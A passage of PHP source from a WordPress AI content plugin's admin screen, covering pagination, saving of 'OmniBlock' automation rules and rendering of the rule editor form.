if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $next_page = $curent_page + 1; if($next_page > $max_pages) { $next_page = $max_pages; } if($next_page <= 0) { $next_page = 1; } $next_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $next_page, $next_url); } else { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } } $prev_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($prev_url, 'aiomatic_page=') === false) { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $go_to = $curent_page - 1; if($go_to <= 0) { $go_to = 1; } if($go_to > $max_pages) { $go_to = $max_pages; } $prev_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $go_to, $prev_url); } else { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } } $first_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($first_url, 'aiomatic_page=') === false) { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $first_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=1', $first_url); } else { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } if(isset($_GET['aiomatic_page'])) { $this_page = $_GET["aiomatic_page"]; } else { $this_page = '1'; } echo '<center><a href="' . esc_url_raw($first_url) . '">' . esc_html__('First Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($prev_url) . '">' . esc_html__('Previous Page', 'aiomatic-automatic-ai-content-writer') . '</a>  ' . esc_html__('Page', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($this_page) . ' ' . esc_html__('of', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($max_pages) . ' - ' . esc_html__("Rules Per Page:", 'aiomatic-automatic-ai-content-writer') . '  <input class="cr_50" type="number" min="2" step="1" max="999" name="posts_per_page" value="' . esc_attr($rules_per_page). '" required/>   <a href="' . esc_url_raw($next_url) . '">' . esc_html__('Next Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($last_url) . '">' . esc_html__('Last Page', 'aiomatic-automatic-ai-content-writer') . '</a></center> <center></center> <center>Info: You can add new rules only on the last page.</center>'; ?> <div> <p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p> </div> <div> <div><?php echo esc_html__("* = required", 'aiomatic-automatic-ai-content-writer');?></div> <?php echo esc_html__("New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or other", 'aiomatic-automatic-ai-content-writer') . " <a href='https://1.envato.market/coderevolutionplugins' target='_blank'>" . esc_html__("'omatic plugins created by CodeRevolution", 'aiomatic-automatic-ai-content-writer') . "</a>" . esc_html__(", click for details:", 'aiomatic-automatic-ai-content-writer');?> <a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-ai-generated-content-from-any-plugin-built-by-coderevolution/" target="_blank"><img src="https://i.ibb.co/gvTNWr6/artificial-intelligence-badge.png" alt="artificial-intelligence-badge" title="AI content generator support, when used together with the Aiomatic plugin"></a><br/><br/><a href="https://www.youtube.com/watch?v=5rbnu_uis7Y" target="_blank"><?php echo esc_html__("Nested Shortcodes also supported!", 'aiomatic-automatic-ai-content-writer');?></a><br/><br/><?php echo esc_html__("Confused about rule running status icons?", 'aiomatic-automatic-ai-content-writer');?> <a href="http://coderevolution.ro/knowledge-base/faq/how-to-interpret-the-rule-running-visual-indicators-red-x-yellow-diamond-green-tick-from-inside-plugins/" target="_blank"><?php echo esc_html__("More info", 'aiomatic-automatic-ai-content-writer');?></a><br/> <div class="cr_none" id="midas_icons"> <table> <tr> <td><img id="run_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif');?>" alt="Running" title="status"></td> <td><?php echo esc_html__("In Progress", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Importing is Running", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="ok_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/ok.gif');?>" alt="OK" title="status"></td> <td><?php echo esc_html__("Success", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("New Posts Created", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="fail_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/failed.gif');?>" alt="Faield" title="status"></td> <td><?php echo esc_html__("Failed", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("An Error Occurred.", 'aiomatic-automatic-ai-content-writer');?> <b><?php echo esc_html__("Please check 'Activity and Logging' plugin menu for details.", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="nochange_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/nochange.gif');?>" alt="NoChange" title="status"></td> <td><?php echo esc_html__("No Change - No New Posts Created", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Possible reasons:", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td></td> <td> <ul> <li>► <?php echo esc_html__("Please change rule settings, as your titles are all posted.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> </td> </tr> </table> </div> </div> </form> </div> </div> <div id="running_status_ai"></div> </div> <?php } if (isset($_POST['aiomatic_omni_list'])) { add_action('admin_init', 'aiomatic_save_rules_omni'); } function aiomatic_save_rules_omni($data2) { $init_rules_per_page = get_option('aiomatic_posts_per_page', 12); $rules_per_page = get_option('aiomatic_posts_per_page', 12); if(isset($_POST['posts_per_page'])) { update_option('aiomatic_posts_per_page', $_POST['posts_per_page']); } check_admin_referer('aiomatic_save_rules', '_aiomaticr_nonce'); $data2 = $_POST['aiomatic_omni_list']; $rules = get_option('aiomatic_omni_list', array()); if(!is_array($rules)) { $rules = array(); } $initial_rules = $rules; $initial_count = count($rules); $add = false; $scad = false; if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $offset = ($curent_page - 1) * $rules_per_page; $cat_cont = $offset; $cont = 0; if (isset($data2['main_keywords'][0])) { for ($i = 0; $i < sizeof($data2['main_keywords']); ++$i) { $bundle = array(); if (isset($data2['schedule'][$i]) && $data2['schedule'][$i] != '' && $data2['main_keywords'][$i] != '') { $bundle[] = trim(sanitize_text_field($data2['schedule'][$i])); if (isset($data2['active'][$i])) { $bundle[] = trim(sanitize_text_field($data2['active'][$i])); } else { $bundle[] = '0'; } $bundle[] = trim(sanitize_text_field($data2['last_run'][$i])); $bundle[] = trim(sanitize_text_field($data2['max'][$i])); $bundle[] = $data2['main_keywords'][$i]; $bundle[] = trim($data2['title_once'][$i]); $bundle[] = trim($data2['rule_description'][$i]); $bundle[] = trim($data2['rule_unique_id'][$i]); $bundle[] = trim($data2['aiomatic_sortable_cards'][$i]); $bundle[] = $data2['more_keywords'][$i]; $bundle[] = $data2['days_no_run'][$i]; $rules[$offset + $cont] = $bundle; $cont++; $cat_cont++; } } while($cont < $init_rules_per_page) { if(isset($rules[$offset + $cont])) { $rules[$offset + $cont] = false; } $cont = $cont + 1; $cat_cont++; } $rules = array_values(array_filter($rules)); } //check for removals $arr_rem = array(); foreach($initial_rules as $initr) { if(!aiomatic_array_search_recursive($initr, $rules)) { $arr_rem[] = $initr; } } if(!empty($arr_rem)) { foreach($arr_rem as $removeme) { if(isset($removeme[5]) && $removeme[5] == '1' && isset($removeme[4]) && trim($removeme[4]) !== '') { $keyword_arr = preg_split('/\r\n|\r|\n/', trim($removeme[4])); aiomatic_remove_processed_keywords($keyword_arr); } } } $final_count = count($rules); if($final_count > $initial_count) { $add = true; } elseif($final_count < $initial_count) { $scad = true; } update_option('aiomatic_omni_list', $rules, false); if(count($rules) % $rules_per_page === 1 && $add === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } elseif(count($rules) != 0 && count($rules) % $rules_per_page === 0 && $scad === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } } function aiomatic_expand_rules_omni($default_block_types, $all_models, $all_models_function, $all_dalle_models, $all_stable_models, $all_assistants, $all_stable_sizes, $all_midjourney_sizes, $all_stable_video_sizes, $all_dalle_sizes, $all_scraper_types, $aiomatic_Main_Settings, $all_formats, $language_names, $language_codes, $deepl_auth, $language_names_deepl, $language_codes_deepl, $bing_auth, $language_names_bing, $language_codes_bing, $temp_list, $aiomatic_tax_names) { if (!get_option('aiomatic_running_list')) { $running = array(); } else { $running = get_option('aiomatic_running_list'); } $GLOBALS['wp_object_cache']->delete('aiomatic_omni_list', 'options'); $rules = get_option('aiomatic_omni_list'); if(!is_array($rules)) { $rules = array(); } $output = ''; $cont = 0; if (!empty($rules)) { $posted_items = array(); $post_list = array(); $postsPerPage = 50000; $paged = 0; do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => array( 'publish', 'draft', 'pending', 'trash', 'private', 'future' ), 'post_type' => array( 'any' ), 'numberposts' => $postsPerPage, 'meta_key' => 'aiomatic_parent_rule', 'fields' => 'ids', 'offset' => $postOffset ); $got_me = get_posts($query); $post_list = array_merge($post_list, $got_me); $paged++; }while(!empty($got_me)); wp_suspend_cache_addition(true); foreach ($post_list as $post) { $rule_id = get_post_meta($post, 'aiomatic_parent_rule', true); if ($rule_id != '') { if(stristr($rule_id, '-')) { $exp = explode('-', $rule_id); if(isset($exp[0]) && isset($exp[1]) && $exp[0] == '5') { $posted_items[] = $exp[1]; } } else { $posted_items[] = $rule_id; } } } wp_suspend_cache_addition(false); $counted_vals = array_count_values($posted_items); if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $unlocker = get_option('aiomatic_minute_running_unlocked', false); $rules_per_page = get_option('aiomatic_posts_per_page', 12); foreach ($rules as $request => $bundle[]) { $reg_css_code = '#aiomatic_sortable_cards' . esc_html($cont) . ' { list-style-type: none; margin: 0; padding: 0; }'; $name = md5(get_bloginfo()); wp_add_inline_style( $name . '-automation', $reg_css_code ); if(($cont < ($curent_page - 1) * $rules_per_page) || ($cont >= $curent_page * $rules_per_page)) { $cont++; continue; } $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$iji<count($array_my_values);++$iji){if(is_string($array_my_values[$iji])){$array_my_values[$iji]=stripslashes($array_my_values[$iji]);}} $schedule = $array_my_values[0]; $active = $array_my_values[1]; $last_run = $array_my_values[2]; $max = $array_my_values[3]; $main_keywords = $array_my_values[4]; $title_once = $array_my_values[5]; $rule_description = $array_my_values[6]; $rule_unique_id = $array_my_values[7]; $sortable_cards = $array_my_values[8]; $more_keywords = $array_my_values[9]; $days_no_run = $array_my_values[10]; if(empty($rule_unique_id)) { $rule_unique_id = $cont; } if (isset($counted_vals[$rule_unique_id])) { $generated_posts = $counted_vals[$rule_unique_id]; } else { $generated_posts = 0; } if($rule_description == '') { $rule_description = $cont; } $name = md5(get_bloginfo()); wp_add_inline_script($name . '-footer-script', 'autoCreateAdmin(' . esc_html($cont) . ');createAdmin(' . esc_html($cont) . ');createModeSelect(' . esc_html($cont) . ');hideLinks(' . esc_html($cont) . ');', 'after'); $output .= '<tr> <td class="cr_short_td"><input type="text" name="aiomatic_omni_list[rule_description][]" id="rule_description' . esc_html($cont) . '" class="cr_center" placeholder="Rule ID" value="' . esc_html($rule_description) . '" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_omni_list[main_keywords][]" placeholder="Main keywords" class="cr_width_full">' . esc_textarea($main_keywords) . '</textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" placeholder="# h" name="aiomatic_omni_list[schedule][]" max="8765812" value="' . esc_attr($schedule) . '" class="cr_width_60" required></td> <td class="cr_comm_td"><input type="number" step="1" min="0" placeholder="#" name="aiomatic_omni_list[max][]" value="' . esc_attr($max) . '" class="cr_width_60" required></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnauto' . esc_html($cont) . '" value="Configure"> <div id="mymodalauto' . esc_html($cont) . '" class="codemodalauto"> <div class="codemodalauto-content"> <div class="codemodalauto-header"> <span id="aiomatic_auto_close' . esc_html($cont) . '" class="codecloseauto">×</span> <h2>' . esc_html__('Rule', 'aiomatic-automatic-ai-content-writer') . ' <span class="cr_color_white">ID ' . esc_html($cont) . '</span> - ' . esc_html__('AI OmniBlocks', 'aiomatic-automatic-ai-content-writer') . '</h2> </div> <div class="codemodalauto-body"> <div class="table-responsive"> <table class="aiomatic-automation responsive table cr_main_table_nowr"> <tbody class="aiomatic-tbody-automation">'; $warning = ''; $saved_cards = htmlspecialchars_decode($sortable_cards); $saved_cards = json_decode($saved_cards, true); if(is_array($saved_cards) && !empty($saved_cards)) { $save_type_found = false; $zindex = 1; $num_cards = count($saved_cards); foreach ($saved_cards as $card_id) { $card_type_found = array(); foreach($default_block_types as $def_card) { if($card_id['type'] == $def_card['id']) { $card_type_found = $def_card; break; } } if(empty($card_type_found)) { $warning .= '<p>' . esc_html__('OmniBlock type not found: ', 'aiomatic-automatic-ai-content-writer') . $card_id['type'] . '</p>'; } if(isset($card_type_found['type']) && $card_type_found['type'] == 'save') { $save_type_found = true; } if($zindex == $num_cards) { if(isset($card_type_found['type']) && $card_type_found['type'] != 'save') { if (isset($active) && $active === '1') { $warning .= '<p>' . esc_html__('Last OmniBlock is not a "Action" type block! In automatic runs, all data created after the last "Action" type block will be lost.', 'aiomatic-automatic-ai-content-writer') . '</p>'; } } } $zindex++; if(isset($card_type_found['type']) && $card_type_found['type'] == 'create' ) { if(isset($card_type_found['shortcodes']) && !empty($card_type_found['shortcodes'])) { $local_shortcodes = array(); foreach($card_type_found['shortcodes'] as $shtc) { $local_shortcodes[] = '%%' . $shtc . $card_id['identifier'] . '%%'; } if($shtc == 'file_') { $local_shortcodes[] = '%%xlsx_' . $card_id['identifier'] . '_'; } if($shtc == 'webhook_data_') { $local_shortcodes[] = '%%webhook_data_' . $card_id['identifier'] . '_'; } $not_found_blocks = array(); $block_found = false; foreach ($saved_cards as $saved_card_id) { foreach($saved_card_id['parameters'] as $name => $orig_text) { if(!empty($orig_text)) { foreach($local_shortcodes as $lsc) { if(strstr($orig_text, $lsc) !== false) { $block_found = true; break; } } if($block_found == true) { break; } } } if($block_found == true) { break; } } if($block_found === false) { $not_found_blocks[] = $card_id['identifier']; } if(!empty($not_found_blocks)) { if (isset($active) && $active === '1') { $warning .= '<p>' . esc_html__('The following OmniBlock IDs are not used in the queue (you can remove them): ', 'aiomatic-automatic-ai-content-writer') . implode(',', $not_found_blocks) . '</p>'; } } } } } if($save_type_found === false) { if (isset($active) && $active === '1') { $warning .= '<p>' . esc_html__('No "Action" type OmniBlock added in the queue! Add a "Action" type OmniBlock, like: "Save Posts" to store the data which was created by the AI. Otherwise, it will be lost.', 'aiomatic-automatic-ai-content-writer') . '</p>'; } } } else { $warning .= '<p>' . esc_html__('Failed to decode OmniBlocks data!', 'aiomatic-automatic-ai-content-writer') . '</p>'; } if($warning != '') { $output .= '<tr><td colspan="2"><h2>' . esc_html__('Block Validation Errors', 'aiomatic-automatic-ai-content-writer') . ':</h2></td></tr> <tr><td colspan="2" class="cr_red">' . $warning . '</td></tr>'; } $output .= '<tr><td class="aiomatic_block_me" colspan="2"><h2>' . esc_html__('Manage AI OmniBlocks', 'aiomatic-automatic-ai-content-writer') . ':</h2><div class="aiseparator aistart"><b>' . esc_html__("OmniBlock Queue Starts Here", 'aiomatic-automatic-ai-content-writer') . '</b></div></td></tr> <tr> <td colspan="2"> <input type="hidden" id="sortable_cards' . esc_html($cont) . '" name="aiomatic_omni_list[aiomatic_sortable_cards][]" value="' . esc_attr($sortable_cards) . '"> <ul id="aiomatic_sortable_cards' . esc_html($cont) . '" name="aiomatic_sortable_cards' . esc_html($cont) . '">'; $last_id = '1'; if(empty($default_block_types)) { $output .= esc_html__('No AI OmniBlock Types Added To This Rule', 'aiomatic-automatic-ai-content-writer'); } else { if(empty($saved_cards) && !is_array($saved_cards)) { $output .= esc_html__('Failed to decode saved blocks data!', 'aiomatic-automatic-ai-content-writer'); } else { $exec = 1; $new_shortcodes_arr = array('%%keyword%%'); foreach ($saved_cards as $card_id) { $curr_arr = array(); if(!empty($card_id['type'])) { $assistant_helper = uniqid(); $urlrandval = uniqid(); $last_id = $card_id['identifier']; $card_type_found = array(); foreach($default_block_types as $def_card) { if($card_id['type'] == $def_card['id']) { $card_type_found = $def_card; break; } } if(empty($card_type_found)) { aiomatic_log_to_file('Warning! OmniBlock type not found for: ' . print_r($card_id, true)); } else { $local_shortcodes = array(); foreach($card_type_found['shortcodes'] as $shtc) { $local_shortcodes[] = '%%' . $shtc . $card_id['identifier'] . '%%'; } $plugin_required = array(); if(!empty($card_type_found['required_plugin'])) { foreach($card_type_found['required_plugin'] as $pslug => $pname) { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active($pslug)) { $plugin_required[] = 'You need enable the "' . $pname[0] . '" plugin for this OmniBlock type to work: ' . $pname[1]; } } } $output .= '<li data-id-str="' . esc_html($cont) . '" class="omniblock-card"><input data-clone-index="xc' . uniqid() . '" class="cr_center aiomatic-bold aiomatic-indigo omniblock-title" card-type="' . esc_html($card_type_found['id']) . '" type="text" placeholder="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" title="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" value="' . esc_attr($card_id['name']) . '"> <input type="hidden" class="omniblock-id" card-type="' . esc_html($card_type_found['id']) . '" value="' . esc_attr($last_id) . '"> <input type="hidden" class="omniblock-shortcodes" card-type="' . esc_html($card_type_found['id']) . '" value="' . esc_attr(implode(',', $local_shortcodes)) . '">'; if($card_type_found['id'] == 'text_spinner') { if (!isset($aiomatic_Main_Settings['spin_text']) || $aiomatic_Main_Settings['spin_text'] === 'disabled') { $plugin_required[] = 'Spinning disabled from \'Settings\' -> \'Bulk Posts\' tab -> \'Spin Text Using Word Synonyms\' settings field, this OmniBlock will not function'; } if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'bulk') { $plugin_required[] = 'Spinning disabled for OmniBlocks, from plugin\'s \'Settings\' menu -> \'Bulk Posts\' tab -> \'Enable Spinner For\' settings field, this OmniBlock will not function'; } } elseif($card_type_found['id'] == 'embeddings') { if ((!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') && (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '')) { $plugin_required[] = 'You must add an OpenAI/AiomaticAPI API Key into the plugin\'s \'Settings\' menu before you can use this feature!'; } if ((!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') && (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '')) { $plugin_required[] = 'You must add a Pinecone API or a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } } foreach($card_id['parameters'] as $name => $orig_text) { if(isset($card_type_found['parameters'][$name]) && isset($card_type_found['parameters'][$name]['type']) && ($card_type_found['parameters'][$name]['type'] == 'text' || $card_type_found['parameters'][$name]['type'] == 'textarea' || $card_type_found['parameters'][$name]['type'] == 'url' || $card_type_found['parameters'][$name]['type'] == 'scraper_string')) { foreach($new_shortcodes_arr as $sha) { $orig_text = str_replace($sha, '', $orig_text); } $incorrect_sh = array(); foreach($default_block_types as $cardt) { foreach($cardt['shortcodes'] as $shc) { preg_match_all('~(%%' . $shc . '[a-zA-Z0-9]*?%%)~', $orig_text, $submatches); if(isset($submatches[1][0])) { foreach($submatches[1] as $incsh) { $incorrect_sh[] = $incsh; } } } } if(!empty($incorrect_sh)) { $plugin_required[] = 'This block has some incorrect shortcodes: ' . implode(',', $incorrect_sh); } } } if(!empty($plugin_required)) { $output .= '<p class="requirement cr_red"><ul class="requirement cr_red">'; foreach($plugin_required as $pr) { $output .= '<li>' . $pr . '</li>'; } $output .= '</ul></p>'; } $output .= '<div class="card-name'; if($card_type_found['type'] == 'save') { $output .= ' aisave-content'; } else { $output .= ' aicreate-content'; } $output .= '">' . esc_html__('OmniBlock Type:', 'aiomatic-automatic-ai-content-writer') . ' <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__('Created shortcodes by this OmniBlock (usable in OmniBlocks from below this one): ', 'aiomatic-automatic-ai-content-writer'); $output .= '<ul>'; foreach($card_type_found['shortcodes'] as $shtc) { $output .= '<li>%%' . $shtc . $card_id['identifier'] . '%%</li>'; } $output .= '</ul>'; if (isset($aiomatic_Main_Settings['omni_webhook']) && trim($aiomatic_Main_Settings['omni_webhook']) == 'on') { $rest_url = rest_url('omniblock/v1/webhook'); if(isset($card_id['parameters']['api_key']) && !empty(trim($card_id['parameters']['api_key']))) { $rest_url = add_query_arg('apikey', trim($card_id['parameters']['api_key']), $rest_url); } $rest_url = add_query_arg('omniblockid', trim($cont) . '_' . trim($card_id['identifier']), $rest_url); $rest_url = add_query_arg('input', urlencode('Webhooks in WordPress'), $rest_url); $card_type_found['description'] = str_replace('%%webhook_url%%', '<br/><span class="cr_red disable_drag">' . $rest_url . '</span>', $card_type_found['description']); } else { $card_type_found['description'] = str_replace('%%webhook_url%%', '<span class="cr_red">' . esc_html__('OmniBlock Webhook functionality not enabled in \'Settings\' menu of the plugin!' , 'aiomatic-automatic-ai-content-writer') . '</span>', $card_type_found['description']); } $output .= '</div></div> ' . esc_attr($card_type_found['name']) . '</div><p class="card-desc">' . $card_type_found['description'] . '</p><div class="ai-collapsible-holder"><button class="aicollapsible" title="' . esc_html__('Show/Hide Parameters', 'aiomatic-automatic-ai-content-writer') . '"><img class="controls-icon" src="' . plugin_dir_url( __FILE__ ) . '../images/controls.png' . '"></button></div><div class="aicollapsible-parameters">'; $output .= '<h3>' . esc_html__('OmniBlock Parameters', 'aiomatic-automatic-ai-content-writer') . ' <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__('Set the parameters which will be used in this OmniBlock.', 'aiomatic-automatic-ai-content-writer') . '</div></div></h3><hr/>'; foreach($card_type_found['parameters'] as $name => $card_type) { $output .= '<h4>' . esc_html($card_type['title']) . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html($card_type['description']) . '</div></div></h4>'; if($card_type['type'] == 'text') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; $output .= '<input type="text" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_html($value) . '" id="xai' . $randval . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; if(count($new_shortcodes_arr) > 0) { $output .= '<div class="shortcode-list" data-id-str="xai' . $randval . '">'; } foreach($new_shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); $output .= '<p class="aishortcodes" data-index="' . esc_html($cont) . '" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; $output .= $myshort; $output .= '</p>'; } if(count($new_shortcodes_arr) > 0) { $output .= '</div>'; } $output .= '</div>'; } elseif($card_type['type'] == 'textarea') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; $output .= '<textarea class="' . esc_attr($name) . ' cr_width_full" data-clone-index="xc' . uniqid() . '" id="xai' . $randval . '" placeholder="' . esc_html($card_type['placeholder']) . '">' . esc_textarea($value) . '</textarea>'; if(count($new_shortcodes_arr) > 0) { $output .= '<div class="shortcode-list" data-id-str="xai' . $randval . '">'; } foreach($new_shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); $output .= '<p class="aishortcodes" data-index="' . esc_html($cont) . '" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; $output .= $myshort; $output .= '</p>'; } if($card_type_found['id'] == 'ai_text_foreach' && $name == 'prompt') { $output .= '<p class="aishortcodes" data-index="' . esc_html($cont) . '" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; $output .= '%%current_input_line%%'; $output .= '</p>'; $output .= '<p class="aishortcodes" data-index="' . esc_html($cont) . '" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; $output .= '%%current_input_line_counter%%'; $output .= '</p>'; $output .= '<p class="aishortcodes" data-index="' . esc_html($cont) . '" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; $output .= '%%all_input_lines%%'; $output .= '</p>'; } if(count($new_shortcodes_arr) > 0) { $output .= '</div>'; } $output .= '</div>'; } elseif($card_type['type'] == 'model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" id="xa' . $assistant_helper . '" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if($value == $modelx) { $output .= ' selected'; } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select>'; } elseif($card_type['type'] == 'model_select_function') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } $output .= '<select autocomplete="off" id="xa' . $assistant_helper . '" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models_function as $modelx) { $output .= '<option value="' . $modelx .'"'; if($value == 